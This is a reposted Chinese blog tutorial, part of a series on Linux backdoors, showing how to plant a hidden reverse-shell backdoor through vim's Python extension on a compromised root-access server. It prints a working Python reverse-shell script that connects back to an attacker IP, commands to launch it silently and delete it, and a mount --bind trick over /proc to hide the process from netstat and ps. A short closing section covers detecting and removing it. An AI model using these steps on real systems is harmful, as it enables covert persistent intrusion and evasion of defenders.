暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

LINUX留后门--教程(八)—— vim+python文件后门

W小哥 2021-08-09
1479

一、本教程作用

1、用在攻击的途径上
2、应急响应过程中,黑客会留后门,如果你连这种留后门方法都不会,怎么去应急?
不知攻,焉知防


二、vim+python文件后门-教程

前提条件: 假设在攻击的过程中通过利用各种getshell,已经拿到目标服务器root权限
靶机 IP: 192.168.241.142 (Ubuntu 20.04)
攻击IP: 192.168.241.128 (kali)


查看 Ubuntu 20.04 的 vim 支持情况:
可以得知 vim 支持 python3

注意:

如果服务器没有安装 python应用,可以通过vim编辑器启动python程序,因为如今的vim编辑器为了更好的支持python语言,默认是安装了python扩展,通过vim的python扩展,也可以去启动一个python程序。可通过“vim --version”查看是否已支持python扩展,如上图所示。


2.1python 文件后门

反弹shell的python脚本:

    import socket, subprocess, os;
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);
    s.connect(("192.168.241.128", 6666));
    os.dup2(s.fileno(), 0);
    os.dup2(s.fileno(), 1);
    os.dup2(s.fileno(), 2);
    p = subprocess.call(["/bin/sh""-i"]);

    其实就是用python编写的一个简单的socket服务器端


    2.1.1 将反弹shell的python脚本 shell.py 传到靶机

    将反弹shell的python脚本 shell.py 传到靶机,放在桌面目录下


    2.2 反弹 shell

    kali 打开监听


    靶机执行命令:vim -E -c "py3file shell.py"

    -E是启动一个改进的Ex模式(也就是命令模式),-c是去加载一个文件,并去执行。

    执行完之后靶机命令行界面就会一片空白如下图所示,属正常现象,此时关闭靶机命令行界面,也不会影响已经反弹回去的shell

    此时 kali 接收到反弹的 shell

    此时查看靶机上的连接,可以看到可疑的 vim 连接

    但是这样的后门太明显了,netstat -anpt 一查就可以看到,而且 vim -E -c “py3file shell.py” 命令执行之后,还会有一个空白窗口。


    2.3 隐藏后门

    在上述反弹 shell 的过程中为了更好的隐藏后门,从以下两点出发:

    1、vim -E -c “py3file shell.py” 命令启动的时候不显示该窗口
    2、将netstat -anpt 查看到的可疑连接隐藏起来


    1、vim -E -c “py3file shell.py” 命令启动的时候不显示该窗口,解决方法:

      (nohup vim -E -c "py3file shell.py"> dev/null 2>&1 &)
      #将nohup的执行结果输出到/dev/null中
      #其中/dev/null在linux中代表空设备,结果输出到空设备也就是丢弃nohup的执行结果。
      #“2”在linux中代表错误输出,“1”在linux中代表标准输出,在此处也就是nohup的输出。2>&1表示将错误输出绑定到标准输出上,在此处也就是将错误输出同样输出到空设备上不进行显示。这样,无论nohup执行结果是否正确,都不会有输出。


      2、将netstat -anpt 查看到的可疑连接隐藏起来,解决方法:

      既然是后门,那么就不能留下自己创建的文件,可以将删除命令直接拼接到命令上

        (nohup vim -E -c "py3file shell.py"/dev/null 2>&1 &) && sleep 2 && rm -f shell.py

        接下来要把这个可疑连接隐藏起来


          mkdir null
          mount --bind null proc/6238
          netstat -anpt
          #mount --bind命令是将前一个目录挂载到后一个目录上,所有对后一个目录的访问其实都是对前一个目录的访问,并且会将前一个目录路径隐藏起来(注意这里只是隐藏不是删除,数据未发生改变,仅仅是无法访问了)。
          看下图,已经成功隐藏了进程名和进程ID,通过netstat和ps命令,均无法查看到进程名与进程ID,实战的时候监听的端口号可疑换成8088等具有迷惑性的端口号,可以更好的隐藏


          三、vim 后门——应急响应发现

          查看可疑连接,发现有一个 TCP三次握手都已经 ESTABLISHED (成功连接)的,但是没有PID和进程名,而且连接的地址也不正常

            netstat -anpt

            猜测肯能是被挂载隐藏了
            那么可以使用命令:cat /proc/$$/mountinfo
             查看系统所有挂载文件系统的信息

            在查看的最下面发现了可疑挂载

              1290 25 8:5 /root/null /proc/6238 rw,relatime shared:1 - ext4 /dev/sda5 rw,errors=remount-ro
              1351 25 8:5 /root/null /proc/6240 rw,relatime shared:1 - ext4 /dev/sda5 rw,errors=remount-ro

              然后使用umount命令,取消对 6238、6240 的挂载,确认该进程是否为恶意进程。

                umount /proc/6238
                umount /proc/6240

                查看pid 6238 执行的命令,是后门执行的命令

                  ps aux | grep 6238

                  全盘查找 shell.py 文件,发现已经被黑客删除

                  终止掉进程,后门清除成功!

                    kill -9 6238
                    kill -9 6240


                    更多资源:

                    1、web安全工具、渗透测试工具
                    2、存在漏洞的网站源码与代码审计+漏洞复现教程、
                    3、渗透测试学习视频、应急响应学习视频、代码审计学习视频、都是2019-2021年期间的较新视频
                    4、应急响应真实案例复现靶场与应急响应教程

                    收集整理在知识星球,可加入知识星球进行查看。也可搜索关注微信公众号:W小哥


                    文章转载自W小哥,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

                    评论